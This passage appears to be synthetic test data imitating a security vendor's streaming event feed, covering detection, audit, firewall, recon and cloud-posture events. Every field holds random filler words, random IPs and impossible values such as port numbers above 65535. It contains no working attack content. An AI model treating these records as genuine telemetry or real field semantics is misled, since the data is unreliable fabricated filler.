true},"ParentImageFileName": "therebill","ParentCommandLine": "allcompany","GrandparentImageFileName": "Lincolniangang","GrandparentCommandLine": "hisbook","HostGroups": "onetrip","AssociatedFile": "hugestring","PatternId": 1708361399}} +{"metadata": {"customerIDString": "lightfriendship","offset": -669721107,"eventType": "DetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"ProcessStartTime": -741948395,"ProcessEndTime": 1186464878,"ProcessId": 1909058510,"ParentProcessId": -176291732,"ComputerName": "Pacificcoat","UserName": "oneleap","DetectName": "whyclass","DetectDescription": "problem class sofa employment meal basket job nest bag shampoo Romanright","Severity": 1,"SeverityName": "High","FileName": "hereability","FilePath": "whysoup\\hereability","CommandLine": "C:\\Windows\\doublestupidity","SHA256String": "lemonylion","MD5String": "Atlanteancrime","SHA1String": "Danishpigeon","MachineDomain": "itchoir","NetworkAccesses": [{"AccessType": 401823050,"AccessTimestamp": 1751371565,"Protocol": "hereliter","LocalAddress": "36.221.48.16","LocalPort": 43955,"RemoteAddress": "214.89.208.238","RemotePort": 45737,"ConnectionDirection": 2,"IsIPV6": false}],"FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/whoserhythm?_cid=xxxxxxx","SensorId": "hisbook","IOCType": "filename","IOCValue": "Romanhousework","DetectId": "whatposse","LocalIP": "11.21.72.228","MACAddress": "ba-xx-00-xx-d0-00","Tactic": "herehorde","Technique": "a littleday","Objective": "motionlesscollection","PatternDispositionDescription": "pack bevy nutrition train yourcomposer","PatternDispositionValue": 1210360208,"PatternDispositionFlags": {"Indicator": true,"Detect": true,"InddetMask": false,"SensorOnly": false,"Rooting": false,"KillProcess": false,"KillSubProcess": true,"QuarantineMachine": false,"QuarantineFile": true,"PolicyDisabled": false,"KillParent": false,"OperationBlocked": true,"ProcessBlocked": false,"RegistryOperationBlocked": true,"CriticalProcessDisabled": true,"BootupSafeguardEnabled": false,"FsOperationBlocked": true,"HandleOperationDowngraded": false,"KillActionFailed": false,"BlockingUnsupportedOrDisabled": true,"SuspendProcess": false,"SuspendParent": false},"ParentImageFileName": "therebrace","ParentCommandLine": "exuberantpod","GrandparentImageFileName": "whypatience","GrandparentCommandLine": "anythingthrill","HostGroups": "fewclass","AssociatedFile": "numerousphilosophy","PatternId": -1461953580}} +{"metadata": {"customerIDString": "hissandals","offset": 1681604328,"eventType": "RemoteResponseSessionStartEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"SessionId": "someonedisregard","HostnameField": "whatgalaxy","UserName": "halfexaltation","StartTimestamp": 1582830734,"AgentIdString": "proudhost"}} +{"metadata": {"customerIDString": "hernest","offset": 1023013310,"eventType": "ReconNotificationSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"NotificationId": "whitebasket","Highlights": ["therescold"],"MatchedTimestamp": 1686889114000,"RuleId": "Machiavellianpart","RuleName": "eitherpigeon","RuleTopic": "heregovernment","RulePriority": "Torontoniantrend","ItemId": "nobodycatalog","ItemType": "SCRAPPY","ItemPostedTimestamp": 1686889114000}} +{"metadata": {"customerIDString": "spottedcompany","offset": -253215512,"eventType": "AuthActivityAuditEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserId": "whatlighter","UserIp": "72.197.193.234","OperationName": "grantCustomerSubscriptions","ServiceName": "detections","Success": false,"UTCTimestamp": 1686849556,"AuditKeyValues": [{"Key": "therehand","ValueString": "anxioustrip"}],"Attributes": {"actor_cid": "anydress","actor_user": "whosescold","actor_user_uuid": "somehat","app_id": "somebodyirritation","saml_assertion": "littlecare","target_user": "smoggydog","trace_id": "mycollege"}}} +{"metadata": {"customerIDString": "thereflag","offset": 41922970,"eventType": "AuthActivityAuditEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserId": "over therelibrary","UserIp": "35.158.67.121","OperationName": "resetAuthSecret","ServiceName": "detections","Success": false,"UTCTimestamp": 1686849556,"AuditKeyValues": [{"Key": "Ecuadoriandishonesty","ValueString": "Malagasysedge"}],"Attributes": {"actor_cid": "couplearmy","actor_user": "hundredmuseum","actor_user_uuid": "herechapter","app_id": "doublemob","saml_assertion": "herebill","target_user": "Senegaleseanswer","trace_id": "scenicdisregard"}}} +{"metadata": {"customerIDString": "itteam","offset": 1236731672,"eventType": "ReconNotificationSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"NotificationId": "Putinistpark","Highlights": ["thatliterature"],"MatchedTimestamp": 1686889114000,"RuleId": "yourscold","RuleName": "repulsivefield","RuleTopic": "thatship","RulePriority": "thosenecklace","ItemId": "thatrange","ItemType": "BREACH_6G","ItemPostedTimestamp": 1686889114000}} +{"metadata": {"customerIDString": "whattime","offset": -1148611913,"eventType": "IdpDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"ContextTimeStamp": 133984620360000000,"CompositeId": "xxxxxxxx:ind:529fb8e5xxxxxxxx5d577e3f:41104","DetectId": "Sudanesecare","DetectName": "thisappetite","DetectDescription": "number chair work team logic silence bread buckles orchard comfort troop school bunch horde scheme vehicle caravan part mercy thosefilm","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/friendlycast?_cid=xxxxxxx","StartTime": 133984620360000000,"EndTime": 133984620360000000,"Severity": 94,"SeverityName": "Critical","Tactic": "knightlyscold","Technique": "Dutchcoffee","Objective": "nervoussand","SourceAccountDomain": "sufficientgeneration","SourceAccountName": "thisline","SourceAccountObjectSid": "anyoneestate","SourceEndpointAccountObjectGuid": "Mayantribe","SourceEndpointAccountObjectSid": "whyharvest","SourceEndpointHostName": "doublecash","SourceEndpointIpAddress": "240.193.149.84","SourceEndpointSensorId": "Afghanschool","PrecedingActivityTimeStamp": 133984620360000000,"MostRecentActivityTimeStamp": 133984620360000000,"ActivityId": "whatstaff","PatternId": 1271181227}} +{"metadata": {"customerIDString": "Egyptiancompany","offset": -274490636,"eventType": "ScheduledReportNotificationEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserUUID": "nobodygame","UserID": "Kazakhapp","ExecutionID": "panickeddynasty","ReportID": "anycluster","ReportName": "theseaircraft","ReportType": "Finnishyear","ReportFileReference": "Egyptianwealth","Status": "thesepod","StatusMessage": "thathand","ExecutionMetadata": {"ExecutionStart": -1030429283,"ExecutionDuration": 1600686231,"ReportFileName": "itscrew","ResultCount": -74496630,"ResultID": "Swazifame","SearchWindowStart": 1230543628,"SearchWindowEnd": 267852438}}} +{"metadata": {"customerIDString": "onepunctuation","offset": 1527408402,"eventType": "EppDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"AgentId": "Machiavelliancrew","AggregateId": "xxxxxx:529fb8e5xxxxxxxx5d577e3f:38655211725","CommandLine": "C:\\Windows\\jitterymob","CompositeId": "xxxxxxxx:ind:529fb8e5xxxxxxxx5d577e3f:41104","DataDomains": "Email","Description": "nest model posse mustering congregation art justice mustering crowd mirror choir heap popcorn hatred life kitchen growth bird husband cashier bale Indianstand","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/whosegossip?_cid=xxxxxxx","FileName": "itspigeon","FilePath": "Vietnameseworld\\itspigeon","FilesAccessed": [{"FileName": "itspigeon","FilePath": "Vietnameseworld\\itspigeon","Timestamp": 1751371830}],"FilesWritten": [{"FileName": "itspigeon","FilePath": "Vietnameseworld\\itspigeon","Timestamp": 1751371830}],"GrandParentCommandLine": "C:\\Windows\\ourpod","GrandParentImageFileName": "Italianalbum","GrandParentImageFilePath": "thoseroad\\Italianalbum","HostGroups": "Africantrip","Hostname": "abundanttelevision","LocalIP": "190.228.206.91","LocalIPv6": "214.123.123.77","LogonDomain": "heremob","MACAddress": "ba-xx-00-xx-d0-00","MD5String": "nuttystaff","Name": "itearrings","NetworkAccesses": [{"AccessTimestamp": 1751371565,"AccessType": -2066319981,"ConnectionDirection": 1,"IsIPV6": true,"LocalAddress": "128.207.85.90","LocalPort": 24101,"Protocol": "everybodycaravan","RemoteAddress": "152.127.132.123","RemotePort": 72923}],"Objective": "whatpharmacist","ParentCommandLine": "C:\\Windows\\hundredslist\\somebodypack","ParentImageFileName": "somebodypack","ParentImageFilePath": "thosecomputer\\somebodypack","ParentProcessId": 2014137232,"PatternDispositionDescription": "problem troop band whosemob","PatternDispositionFlags": {"BlockingUnsupportedOrDisabled": false,"BootupSafeguardEnabled": false,"ContainmentFileSystem": false,"CriticalProcessDisabled": false,"Detect": true,"FsOperationBlocked": false,"HandleOperationDowngraded": false,"InddetMask": false,"Indicator": true,"KillActionFailed": false,"KillParent": true,"KillProcess": false,"KillSubProcess": false,"OperationBlocked": true,"PolicyDisabled": true,"ProcessBlocked": false,"QuarantineFile": false,"QuarantineMachine": true,"RegistryOperationBlocked": true,"Rooting": false,"SensorOnly": false,"SuspendParent": false,"SuspendProcess": false},"PatternDispositionValue": 355869786,"PatternId": -125593628,"PlatformId": "superfact","PlatformName": "Mac","ProcessEndTime": 324662446,"ProcessId": 22868941,"ProcessStartTime": 1177857078,"ReferrerUrl": "itfactory","SHA1String": "wherehappiness","SHA256String": "Turkishcrowd","Severity": 1,"SeverityName": "Informational","SourceProducts": "whosepatrol","SourceVendors": "Gaussianbush","Tactic": "Bangladeshifinger","Technique": "Lebaneseissue","Type": "ofp","UserName": "frailcup"}} +{"metadata": {"customerIDString": "enviousplace","offset": 1922237950,"eventType": "ReconNotificationSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"NotificationId": "thoseapartment","Highlights": ["insufficientbale"],"MatchedTimestamp": 1686889114000,"RuleId": "fewentertainment","RuleName": "emptyhand","RuleTopic": "uptightphilosophy","RulePriority": "allplant","ItemId": "greatcollection","ItemType": "LEGACY_TI","ItemPostedTimestamp": 1686889114000}} +{"metadata": {"customerIDString": "ourway","offset": 725667662,"eventType": "IncidentSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"IncidentStartTime": 1685844891,"IncidentEndTime": 1685844891,"FalconHostLink": "manybrace","State": "open","FineScore": 4.6245755575309575,"LateralMovement": 0,"IncidentType": 2,"IncidentID": "wherecastle","HostID": "lazyhail","LMHostIDs": ["over therebevy"],"UserId": "fancybevy"}} +{"metadata": {"customerIDString": "itsexaltation","offset": 647985529,"eventType": "AuthActivityAuditEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserId": "nonedata","UserIp": "100.55.7.214","OperationName": "requestResetPassword","ServiceName": "Crowdstrike Streaming API","Success": false,"UTCTimestamp": 1686849556,"AuditKeyValues": [{"Key": "severalmotivation","ValueString": "goodhost"}],"Attributes": {"actor_cid": "itsbutter","actor_user": "Bismarckianconditioner","actor_user_uuid": "Hondurantrip","app_id": "thereloneliness","saml_assertion": "thishatred","target_user": "thesehand","trace_id": "itworld"}}} +{"metadata": {"customerIDString": "eachjumper","offset": 1609562650,"eventType": "ReconNotificationSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"NotificationId": "modernmuster","Highlights": ["severalpain"],"MatchedTimestamp": 1686889114000,"RuleId": "fancytruck","RuleName": "muchman","RuleTopic": "Lincolnianbutter","RulePriority": "yourregiment","ItemId": "heavycovey","ItemType": "LEGACY_TI","ItemPostedTimestamp": 1686889114000}} +{"metadata": {"customerIDString": "whichpicture","offset": 237389943,"eventType": "EppDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"AgentId": "whygroup","AggregateId": "xxxxxx:529fb8e5xxxxxxxx5d577e3f:38655211725","CommandLine": "C:\\Windows\\nomuster","CompositeId": "xxxxxxxx:ind:529fb8e5xxxxxxxx5d577e3f:41104","DataDomains": "Email","Description": "week bouquet rainbow woman class quiver bevy sofa successfullady","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/whyheap?_cid=xxxxxxx","FileName": "howbus stop","FilePath": "whybrilliance\\howbus stop","FilesAccessed": [{"FileName": "howbus stop","FilePath": "whybrilliance\\howbus stop","Timestamp": 1751371830}],"FilesWritten": [{"FileName": "howbus stop","FilePath": "whybrilliance\\howbus stop","Timestamp": 1751371830}],"GrandParentCommandLine": "C:\\Windows\\oneorchard","GrandParentImageFileName": "whereweek","GrandParentImageFilePath": "whyfleet\\whereweek","HostGroups": "yourwatch","Hostname": "eachstack","LocalIP": "117.25.223.118","LocalIPv6": "177.163.164.194","LogonDomain": "itdrum","MACAddress": "ba-xx-00-xx-d0-00","MD5String": "nonetree","Name": "mybill","NetworkAccesses": [{"AccessTimestamp": 1751371565,"AccessType": 1785054354,"ConnectionDirection": 1,"IsIPV6": true,"LocalAddress": "225.181.191.29","LocalPort": 16239,"Protocol": "mostgenerosity","RemoteAddress": "185.212.179.232","RemotePort": 1575}],"Objective": "Brazilianharvest","ParentCommandLine": "C:\\Windows\\everyonedynasty\\manyclass","ParentImageFileName": "manyclass","ParentImageFilePath": "eachnest\\manyclass","ParentProcessId": -566012898,"PatternDispositionDescription": "somearchipelago","PatternDispositionFlags": {"BlockingUnsupportedOrDisabled": false,"BootupSafeguardEnabled": false,"ContainmentFileSystem": true,"CriticalProcessDisabled": true,"Detect": false,"FsOperationBlocked": false,"HandleOperationDowngraded": true,"InddetMask": false,"Indicator": true,"KillActionFailed": false,"KillParent": false,"KillProcess": true,"KillSubProcess": false,"OperationBlocked": false,"PolicyDisabled": true,"ProcessBlocked": true,"QuarantineFile": true,"QuarantineMachine": true,"RegistryOperationBlocked": true,"Rooting": false,"SensorOnly": false,"SuspendParent": true,"SuspendProcess": false},"PatternDispositionValue": -1029443668,"PatternId": 953167709,"PlatformId": "thispatience","PlatformName": "Windows","ProcessEndTime": -224812447,"ProcessId": 1387183238,"ProcessStartTime": 1997901822,"ReferrerUrl": "disturbedbundle","SHA1String": "elatedbatch","SHA256String": "herebevy","Severity": 53,"SeverityName": "Informational","SourceProducts": "whosereligion","SourceVendors": "whereperson","Tactic": "nobodyteam","Technique": "oddbook","Type": "ldt","UserName": "Portugueseplace"}} +{"metadata": {"customerIDString": "boredflock","offset": -1977260193,"eventType": "ScheduledReportNotificationEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserUUID": "yourregiment","UserID": "Russianstaff","ExecutionID": "thesequiver","ReportID": "whereunion","ReportName": "whereflock","ReportType": "eachjustice","ReportFileReference": "nervousevidence","Status": "thisfriend","StatusMessage": "Monacanreligion","ExecutionMetadata": {"ExecutionStart": -735615861,"ExecutionDuration": 1262735787,"ReportFileName": "allwork","ResultCount": 566549832,"ResultID": "theirreligion","SearchWindowStart": 483200356,"SearchWindowEnd": 1376936238}}} +{"metadata": {"customerIDString": "whatyear","offset": -1646137857,"eventType": "UserActivityAuditEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserId": "wherelife","UserIp": "208.218.248.195","OperationName": "updateUser","ServiceName": "Crowdstrike Streaming API","AuditKeyValues": [{"Key": "allorchard","ValueString": "myoutfit"}],"UTCTimestamp": 1686849556,"Attributes": {"detection_id": "over therebrace"}}} +{"metadata": {"customerIDString": "Madagascanposse","offset": -1429198163,"eventType": "RemoteResponseSessionStartEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"SessionId": "ourcookware","HostnameField": "everybodypolice station","UserName": "whichpod","StartTimestamp": 1582830734,"AgentIdString": "itcompany"}} +{"metadata": {"customerIDString": "singlelibrary","offset": 1142904564,"eventType": "ScheduledReportNotificationEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserUUID": "impromptubird","UserID": "whosequality","ExecutionID": "nonenecklace","ReportID": "Icelandiccongregation","ReportName": "Beninesework","ReportType": "Swisslitter","ReportFileReference": "oneeye","Status": "itunderstanding","StatusMessage": "wherechaos","ExecutionMetadata": {"ExecutionStart": -1160129291,"ExecutionDuration": -1476704105,"ReportFileName": "thisrespect","ResultCount": 893086467,"ResultID": "heavilyaid","SearchWindowStart": -1434112497,"SearchWindowEnd": 1138221378}}} +{"metadata": {"customerIDString": "therestress","offset": -747047066,"eventType": "IdpDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"ContextTimeStamp": 133984620360000000,"CompositeId": "xxxxxxxx:ind:529fb8e5xxxxxxxx5d577e3f:41104","DetectId": "howpart","DetectName": "whydynasty","DetectDescription": "philosophy archipelago talent generosity cackle wad garlic way dynasty town darkness onion stand day garage catalog congregation chest horror fish island Vietnameseclump","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/a littleway?_cid=xxxxxxx","StartTime": 133984620360000000,"EndTime": 133984620360000000,"Severity": 50,"SeverityName": "Low","Tactic": "therewad","Technique": "everybodyvision","Objective": "Rooseveltianwisdom","SourceAccountDomain": "whosenoodles","SourceAccountName": "a lotwarmth","SourceAccountObjectSid": "hugewisp","SourceEndpointAccountObjectGuid": "anyspeed","SourceEndpointAccountObjectSid": "whattroop","SourceEndpointHostName": "itsbunch","SourceEndpointIpAddress": "236.210.225.233","SourceEndpointSensorId": "Welshhorde","PrecedingActivityTimeStamp": 133984620360000000,"MostRecentActivityTimeStamp": 133984620360000000,"ActivityId": "plenty ofparty","PatternId": 446696863}} +{"metadata": {"customerIDString": "itsteam","offset": -258427995,"eventType": "DetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"ProcessStartTime": 14301111,"ProcessEndTime": -1138702117,"ProcessId": -986625045,"ParentProcessId": 1209293922,"ComputerName": "eachsedge","UserName": "itsmustering","DetectName": "mostcomputer","DetectDescription": "way film orchard mistake outfit patrol choker cluster mob string beauty company cash thatpack","Severity": 5,"SeverityName": "Critical","FileName": "thatwealth","FilePath": "Cambodiancasino\\thatwealth","CommandLine": "C:\\Windows\\neitherlove","SHA256String": "sleepyspeed","MD5String": "lightcomputer","SHA1String": "mostgroup","MachineDomain": "itshatred","NetworkAccesses": [{"AccessType": -995848599,"AccessTimestamp": 1751371565,"Protocol": "openmob","LocalAddress": "184.220.154.107","LocalPort": 61513,"RemoteAddress": "25.180.92.136","RemotePort": 33068,"ConnectionDirection": 1,"IsIPV6": false}],"FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/everythingman?_cid=xxxxxxx","SensorId": "nonereligion","IOCType": "domain","IOCValue": "everytrip","DetectId": "fancycoffee","LocalIP": "79.196.128.30","MACAddress": "ba-xx-00-xx-d0-00","Tactic": "thisexaltation","Technique": "itstissue","Objective": "fewskirt","PatternDispositionDescription": "cash sedge friendship shower trip baby poverty stream cast tribe humour pod chest coffee leisure insufficienttroop","PatternDispositionValue": -395118928,"PatternDispositionFlags": {"Indicator": true,"Detect": false,"InddetMask": false,"SensorOnly": true,"Rooting": false,"KillProcess": false,"KillSubProcess": false,"QuarantineMachine": true,"QuarantineFile": false,"PolicyDisabled": false,"KillParent": true,"OperationBlocked": true,"ProcessBlocked": false,"RegistryOperationBlocked": true,"CriticalProcessDisabled": true,"BootupSafeguardEnabled": false,"FsOperationBlocked": false,"HandleOperationDowngraded": false,"KillActionFailed": false,"BlockingUnsupportedOrDisabled": true,"SuspendProcess": false,"SuspendParent": false},"ParentImageFileName": "Lebanesefleet","ParentCommandLine": "fewcorruption","GrandparentImageFileName": "insufficienttroupe","GrandparentCommandLine": "hisbrilliance","HostGroups": "puzzledcrowd","AssociatedFile": "nobodybatch","PatternId": 375479710}} +{"metadata": {"customerIDString": "wholeradio","offset": -1760607636,"eventType": "UserActivityAuditEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserId": "theirarmy","UserIp": "195.183.77.216","OperationName": "activateUser","ServiceName": "detections","AuditKeyValues": [{"Key": "theseconfusion","ValueString": "hundredsbrace"}],"UTCTimestamp": 1686849556,"Attributes": {"detection_id": "therefriendship"}}} +{"metadata": {"customerIDString": "whereregiment","offset": 472409017,"eventType": "MobileDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"SensorId": "lightbatch","MobileDetectionId": -1636211472,"ComputerName": "obedientfailure","UserName": "itsunion","ContextTimeStamp": 1649061056,"DetectId": "fewwhisker","DetectName": "hismother","DetectDescription": "juice armchair fleet muster cabin line toothpaste marriage group bowl crowd divorce work host lawyer somebodyteam","Tactic": "naughtyadvice","TacticId": "oddcompany","Technique": "Congolesehandle","TechniqueId": "whatwisdom","Objective": "thatstaff","Severity": 17,"FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/Beninesefuel?_cid=xxxxxxx","MobileAppsDetails": [{"AppIdentifier": "hundredsgroup","AndroidAppLabel": "Thatcheritepunctuation","DexFileHashes": "itsburger","ImageFileName": "heregrandfather","AppInstallerInformation": "strangepatrol","IsBeingDebugged": true,"AndroidAppVersionName": "wherecluster","IsContainerized": false}]}} +{"metadata": {"customerIDString": "everybodycollege","offset": -714324598,"eventType": "FirewallMatchEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"DeviceId": "elegantwork","CustomerId": "somebodyline","Ipv": "17.180.93.244","CommandLine": "herblock","ConnectionDirection": "1","EventType": "FirewallRuleIP4Matched","Flags": {"Audit": false,"Log": false,"Monitor": true},"HostName": "theirfleet","ICMPCode": "Orwellianphilosophy","ICMPType": "Honduranday","ImageFileName": "whoseunion","LocalAddress": "184.184.189.171","LocalPort": "62050","MatchCount": 1880415740,"MatchCountSinceLastReport": -1197212413,"NetworkProfile": "theircatalog","PID": "-78565002","PolicyName": "vastbook","PolicyID": "hundredspack","Protocol": "Burmeseflock","RemoteAddress": "235.13.158.70","RemotePort": "73527","RuleAction": "crowdedtrip","RuleDescription": "fish line box man album list mob pen leap team house growth costume part pod woman team air friendlyballoon","RuleFamilyID": "nonemob","RuleGroupName": "neitherhomework","RuleName": "outrageoustiming","RuleId": "significantpatrol","Status": "nobread","Timestamp": 1751371830,"TreeID": "significantset"}} +{"metadata": {"customerIDString": "elatedpoint","offset": 257541694,"eventType": "IncidentSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"IncidentStartTime": 1685844891,"IncidentEndTime": 1685844891,"FalconHostLink": "mypaper","State": "closed","FineScore": 5.549588929587846,"LateralMovement": 0,"IncidentType": 1,"IncidentID": "howchest","HostID": "herejaw","LMHostIDs": ["nonejealousy"],"UserId": "Englishenthusiasm"}} +{"metadata": {"customerIDString": "someonetent","offset": 823978461,"eventType": "AuthActivityAuditEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserId": "thesehouse","UserIp": "219.241.32.203","OperationName": "deactivateUser","ServiceName": "detections","Success": true,"UTCTimestamp": 1686849556,"AuditKeyValues": [{"Key": "whoselabour","ValueString": "mostline"}],"Attributes": {"actor_cid": "someonehorde","actor_user": "mypoverty","actor_user_uuid": "whichemployment","app_id": "anythingcomb","saml_assertion": "tenderpair","target_user": "significantbattery","trace_id": "anybale"}}} +{"metadata": {"customerIDString": "lightlogic","offset": -116759513,"eventType": "MobileDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"SensorId": "lazywrist","MobileDetectionId": 342256197,"ComputerName": "singleloss","UserName": "thathorror","ContextTimeStamp": 1649061056,"DetectId": "whyweek","DetectName": "thisdarkness","DetectDescription": "wisp sedge child murder determination wealth cackle flock crowd troop collection heap doctor case path murder bale motherhood cloud team singlewoman","Tactic": "eachpoint","TacticId": "fewstream","Technique": "onewidth","TechniqueId": "awfulgovernment","Objective": "lots ofmotherhood","Severity": 59,"FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/itteam?_cid=xxxxxxx","MobileAppsDetails": [{"AppIdentifier": "wheretrain station","AndroidAppLabel": "herethrill","DexFileHashes": "tensefear","ImageFileName": "whoseadvantage","AppInstallerInformation": "Hitlerianirritation","IsBeingDebugged": false,"AndroidAppVersionName": "sparseforest","IsContainerized": false}]}} +{"metadata": {"customerIDString": "eachdivorce","offset": 1887561384,"eventType": "MobileDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"SensorId": "thankfulslavery","MobileDetectionId": -224577122,"ComputerName": "fullviolence","UserName": "Indianbread","ContextTimeStamp": 1649061056,"DetectId": "Canadianhost","DetectName": "orangestand","DetectDescription": "band rabbit life street computer caravan justice brace mistake troupe troop time anger exaltation time cast place plant company week sink Swazihedge","Tactic": "itwheelchair","TacticId": "ourcompany","Technique": "theseunemployment","TechniqueId": "Muscoviteanswer","Objective": "abundantbale","Severity": 44,"FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/hereworld?_cid=xxxxxxx","MobileAppsDetails": [{"AppIdentifier": "Sudaneseboat","AndroidAppLabel": "sparklynation","DexFileHashes": "thisbrilliance","ImageFileName": "doublecluster","AppInstallerInformation": "whatpart","IsBeingDebugged": true,"AndroidAppVersionName": "whatcandy","IsContainerized": true}]}} +{"metadata": {"customerIDString": "theseenergy","offset": -1842784803,"eventType": "XdrDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"Author": "theseyear","DataDomains": "Web","Description": "game bitterness set health gang person freedom man crowd gossip whosecackle","DetectId": "anytea","EndTimeEpoch": 1643317697728000000,"IPv4Addresses": "24.6.89.201","HostNames": "Indianscold","Name": "whoseusage","PatternId": 1325466376,"Severity": 42,"SourceProducts": "bravebundle","SourceVendors": "puzzledregiment","StartTimeEpoch": 1643317697728000000,"TacticIds": "gracefulspoon","Tactics": "joyousriches","TechniqueIds": "Lincolnianfrailty","Techniques": "eachhouse","XdrType": "xdr-scheduled-search" } }} +{"metadata": {"customerIDString": "Swisshost","offset": 413263399,"eventType": "AuthActivityAuditEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserId": "thosegain","UserIp": "218.68.205.244","OperationName": "grantCustomerSubscriptions","ServiceName": "Crowdstrike Streaming API","Success": true,"UTCTimestamp": 1686849556,"AuditKeyValues": [{"Key": "hergroup","ValueString": "Bahamianbow"}],"Attributes": {"actor_cid": "hisshopping","actor_user": "whyostrich","actor_user_uuid": "hownutrition","app_id": "everyonetribe","saml_assertion": "itstruth","target_user": "fewcoat","trace_id": "itorchard"}}} +{"metadata": {"customerIDString": "whatvision","offset": -163226452,"eventType": "XdrDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"Author": "whichirritation","DataDomains": "Identity","Description": "anthology delay labour scold packet traffic welfare salt mother school crueleye","DetectId": "yourenvy","EndTimeEpoch": 1643317697728000000,"IPv4Addresses": "211.137.245.14","HostNames": "arroganttoothbrush","Name": "doubletribe","PatternId": -753145357,"Severity": 28,"SourceProducts": "delightfulstaff","SourceVendors": "Monacanswan","StartTimeEpoch": 1643317697728000000,"TacticIds": "Guyaneseyear","Tactics": "theirheart","TechniqueIds": "Egyptianchild","Techniques": "significantmotor","XdrType": "xdr-scheduled-search" } }} +{"metadata": {"customerIDString": "whatcast","offset": 811925238,"eventType": "CSPMSearchStreamingEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"AccountId": "whyfact","Region": "us-west-2","ResourceId": "wherehorde","ResourceIdType": "thesejustice","ResourceName": "everybodylogic","ResourceCreateTime": 0,"PolicyStatement": "fewzebra","PolicyId": 688566234,"Severity": 22,"SeverityName": "Medium","CloudPlatform": "whichharm","CloudService": "manyhand","Disposition": "Passed","ResourceUrl": "pricklingsun","Finding": "mymustering","Tags": [{"Key": "cuteream","ValueString": "thoseharvest"}],"ReportUrl": "anyonebones","Timestamp": 1751371830}} +{"metadata": {"customerIDString": "charmingoven","offset": -1010968197,"eventType": "CSPMSearchStreamingEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"AccountId": "cleverproblem","Region": "us-west-1","ResourceId": "allcleverness","ResourceIdType": "whatgovernment","ResourceName": "gracefuldisregard","ResourceCreateTime": 0,"PolicyStatement": "whereset","PolicyId": 2075386905,"Severity": 79,"SeverityName": "High","CloudPlatform": "everythingwhale","CloudService": "sufficientmethod","Disposition": "Passed","ResourceUrl": "over therecomb","Finding": "whatdoctor","Tags": [{"Key": "oneday","ValueString": "onehouse"}],"ReportUrl": "everyonewoman","Timestamp": 1751371830}} +{"metadata": {"customerIDString": "nonefleet","offset": -1840396919,"eventType": "FirewallMatchEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"DeviceId": "thatparty","CustomerId": "whywheat","Ipv": "229.134.79.18","CommandLine": "therechild","ConnectionDirection": "2","EventType": "FirewallRuleIP4Matched","Flags": {"Audit": false,"Log": false,"Monitor": true},"HostName": "wherehost","ICMPCode": "anypair","ICMPType": "whosetribe","ImageFileName": "howgrains","LocalAddress": "121.215.68.4","LocalPort": "80725","MatchCount": 1278266109,"MatchCountSinceLastReport": -1170101990,"NetworkProfile": "mythrill","PID": "-1771055778","PolicyName": "thosefleet","PolicyID": "whoseriver","Protocol": "yourbale","RemoteAddress": "42.0.82.34","RemotePort": "6289","RuleAction": "dangerousprofessor","RuleDescription": "thrill philosophy calm scold hedge packet child knowledge microscope mustering week year brace wherevillage","RuleFamilyID": "someonerice","RuleGroupName": "wherejoy","RuleName": "yourapp","RuleId": "herbody","Status": "thoseream","Timestamp": 1751371830,"TreeID": "pleasantbowl"}} +{"metadata": {"customerIDString": "nichejuice","offset": 1727918718,"eventType": "XdrDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"Author": "Danishnap","DataDomains": "Email","Description": "team coffee palm basket riches tea pumpkin clothing stand annoyance pack party salt success year severalstaff","DetectId": "itring","EndTimeEpoch": 1643317697728000000,"IPv4Addresses": "63.219.163.204","HostNames": "Mayanbook","Name": "hertroop","PatternId": 1262235642,"Severity": 16,"SourceProducts": "over therewhale","SourceVendors": "itspacket","StartTimeEpoch": 1643317697728000000,"TacticIds": "thosegovernment","Tactics": "Atlanticproblem","TechniqueIds": "mypoverty","Techniques": "Balineseloneliness","XdrType": "xdr" } }} +{"metadata": {"customerIDString": "severalheap","offset": 1070529402,"eventType": 